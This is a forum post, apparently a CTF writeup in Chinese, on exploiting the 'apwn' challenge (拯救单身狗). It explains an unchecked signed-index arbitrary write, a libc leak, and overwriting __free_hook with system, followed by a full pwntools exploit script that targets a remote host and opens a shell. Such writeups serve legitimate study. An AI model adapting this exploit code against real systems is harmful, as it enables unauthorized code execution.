首页
社区
课程
招聘
[原创] CTF2019Q1 第四题 拯救单身狗 writeup
2019-3-19 17:48 6174

[原创] CTF2019Q1 第四题 拯救单身狗 writeup

2019-3-19 17:48
6174

保护检测

RELRO STACK CANARY NX PIE FILE
Full RELRO Canary found NX enabled PIE enabled apwn
 

保护全开

利用点

  1. edit_singledog 以及 edit_luckydog 未作范围检测,再加上 read_int 返回的偏移是符号整型,以至于可以利用 edit_singledog 修改 任意指针的内容(可为负偏移),edit_luckydog 能修改 任意指针解引用指针的内容
  2. 从第一条所述他两组合能够 修改任意地址(一上来就这么强)
  3. 整个程序唯一的输出在 edit_singledog 中,可以 泄露指针的内容,但是至少要损失 1字节(必须要输入至少 1字符)

泄露 libc 地址

只能用 edit_singledog 泄露,但是要在程序镜像内找到个指针包含 libc 地址,可以选用 stderr/stdin 这2个地址,里面存放了 _IO_2_1stderr_IO_2_1stdin 地址。

 

题目没有提供 libc 文件,所以要通过先泄露这2个地址拿到 libc 版本,可以通过 https://libc.blukat.me/ 来确定文件版本,也可以找到其他需要利用的符号。使用时填入已确定符号名和地址最后 3位。

payload 构造

由于程序开了全保护,没法改写 got plt 快速达到目的,由于在 savesingledog 中有 free 的操作,我们可以改写 \_free_hook 到 system 上达到运行 /bin/sh

代码

from pwn import *

#p = process("./apwn")
p = remote("211.159.175.39", 8686)

# 程序利用点偏移
addr_stdin = 0x202030
addr_stderr = 0x202040
addr_two = 0x202060

def create_singledog(name):
    p.sendafter(">>\n", "1")
    p.sendafter("Name:\n", name)

def create_luckydog(name, part):
    p.sendafter(">>\n", "2")
    p.sendafter("Name\n", name)
    p.sendafter("name\n", part)

def edit_singledog(idx, name):
    p.sendafter(">>\n", "3")
    p.sendafter("which?\n", str(idx))
    p.sendafter("luck.\n", name)

    return p.recvuntil("1.create", drop=True)[len("new name: "):]

def edit_luckydog(idx, name, part):
    p.sendafter(">>\n", "4")
    p.sendafter("which?\n", str(idx))
    p.sendafter("name?\n", name)
    p.sendafter("name\n", part)

def save_singledog():
    p.sendafter(">>\n", "5")

# 通过 edit_singledog 泄露地址
def leak_libc():
    create_luckydog("1"*24, "2"*32)

    print "_IO_2_1_stderr_", hex(u64(edit_singledog((addr_stderr-addr_two)/8, "A"*8)[8:].ljust(8, "\0")) - 131)
    print "_IO_2_1_stdin_", hex(u64(edit_singledog((addr_stdin-addr_two)/8, "A"*8)[8:].ljust(8, "\0")) - 131)


# 已泄露的服务器地址后 3位
#leak_libc()
#_IO_2_1_stderr_ 680
#_IO_2_1_stdin_ a00

# 查询网站得到的偏移
_IO_2_1_stderr_ = 0x3ec680
__free_hook = 0x3ed8e8
_system = 0x4f440

# 我本地的偏移
# _IO_2_1_stderr_ = 0x3c5540
# __free_hook = 0x3c67a8
# _system = 0x45390

def main():
    # 必须一条 singledog 来保证 save_singledog 成功
    create_singledog("0"*32)
    # 用来提供 __free_hook 的指针
    create_luckydog("1"*24, "2"*32)
    # 用来存 /bin/sh
    create_luckydog("3"*24, "4"*32)

    base = u64(edit_singledog((addr_stderr-addr_two)/8, "A"*8)[8:].ljust(8, "\0")) - 131 - _IO_2_1_stderr_

    # +80*8 刚好是 luckydog 的数组,先改写指针为 __free_hook
    edit_singledog(80, p64(base + __free_hook))
    # 改写 __free_hook 的值为 system 函数
    edit_luckydog(0, "1"*24, p64(base + _system))
    edit_luckydog(1, "3"*24, "/bin/sh\0")

    # 由于程序有随机,我们有2个 luckydog,所以脚本有 50% 可能性成功
    save_singledog()

    p.interactive()

main()

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞1
打赏
分享
最新回复 (1)
雪    币: 260
活跃值: (39)
能力值: ( LV9,RANK:144 )
在线值:
发帖
回帖
粉丝
THREAD 2019-4-6 17:03
2
0
厉害,思路清晰
游客
登录 | 注册 方可回帖
返回